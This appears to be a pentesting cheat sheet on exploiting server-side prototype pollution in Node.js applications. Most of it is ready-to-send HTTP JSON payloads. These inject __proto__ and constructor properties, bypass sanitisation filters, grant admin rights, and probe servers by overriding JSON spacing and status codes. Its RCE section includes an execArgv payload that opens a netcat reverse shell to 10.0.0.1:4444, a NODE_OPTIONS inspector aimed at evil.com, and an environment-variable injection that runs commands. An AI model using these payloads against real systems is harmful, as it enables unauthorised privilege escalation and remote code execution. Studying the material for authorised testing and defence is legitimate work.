icon

Prototype Pollution in Server-Side

Last modified: 2023-08-11

Prototype Pollution is a JavaScript vulnerability that allows attackers to add arbitrary properties to global object prototypes. The vulnerability may exist in Node.js applications.

Investigation

If the properties is affected by our pollution, our polluted properties might be injected into the target object as follow.

POST /user/update HTTP/1.1
Host: example.com
...

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "foo": "bar"
    }
}

// Other option
{
    "name": "john",
    "email": "john@example.com",
    "constructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}

// Bypass sanitization 1
{
    "name": "john",
    "email": "john@example.com",
    "__pro__proto__to__": {
        "foo": "bar"
    }
}

// Bypass sanitization 2
{
    "name": "john",
    "email": "john@example.com",
    "constconstructorructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}

If our property is added into the target object as below, we can inject malicious property which leads to privilege escalation, reverse shell, so on.

{
    "name": "john",
    "email": "john@example.com",
    "isAdmin": false,
    "foo": "bar"
}

Privilege Escalation

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "isAdmin": true
    }
}

JSON Spaces Overriding

Inject the additional property whose key contains spaces, and send request.

POST /user/update HTTP/1.1

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "json spaces": 10
    }
}

In response, if indents is added at the json body as below, the polluted property affects the server.
To check that in Burp Suite, click Raw tab in HTTP response window.

{
            "name": "john",
            "email": "john@example.com",
            "json spaces": 10
}

Status Code Overriding

First off, cause syntax error deliberately by removing comma in the json body when sending POST request.

POST /user/update HTTP/1.1

{
    "name": "john"
    "email": "john@example.com"
}

Of course we receive the error response as json object that might contain "status" or "statusCode" like below.

{
    "error":{
        "status":500,
        "message":"Json parse error"
    }
}

Now we try to update the status code to arbitrary number (400-599) and observe if the status code will be changed.
We need to send correct json format at the time because we want to apply our payload.

POST /user/update HTTP/1.1

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "status": 555
    }
}

Finally we can check if our polluted property affects the server status by sending the incorrect json format body again.

POST /user/update HTTP/1.1

{
    "name": "john"
    "email": "john@example.com"
}

If the server responses the error contains the modified status code, the vulnerability of the prototype pollution exists in the web server.

{
    "error":{
        "status":555,
        "message":"Json parse error"
    }
}

Remote Code Execution (RCE)

Reference: https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce

It may often occur in the child_process module in Node.

"__proto__": {
    "shell": "node",
    "NODE_OPTIONS": "--inspect=evil\"\".com"
}
  • shell: It enables us to set a specific shell such as sh, bash, in which to run commands.
  • NODE_OPTIONS: The environment variable that defines the command-line arguments.

RCE via child_process.spawn(), child_process.fork()

"__proto__": {
    "execArgv": [
        "--eval=require('child_process').execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')"
]}

Overwrite Environment Variable

Below also can be achieved.

"constructor":{
	"prototype":{
		"env":{
			"xyz":"require('child_process').execSync('whoami').toString()"
		},
		"NODE_OPTIONS":"--require /proc/self/environ"
	}
}
  • env
    Set the value of the xyz to environment variables.

  • --require /proc/self/environ
    Inject environment variables from the current process as a module.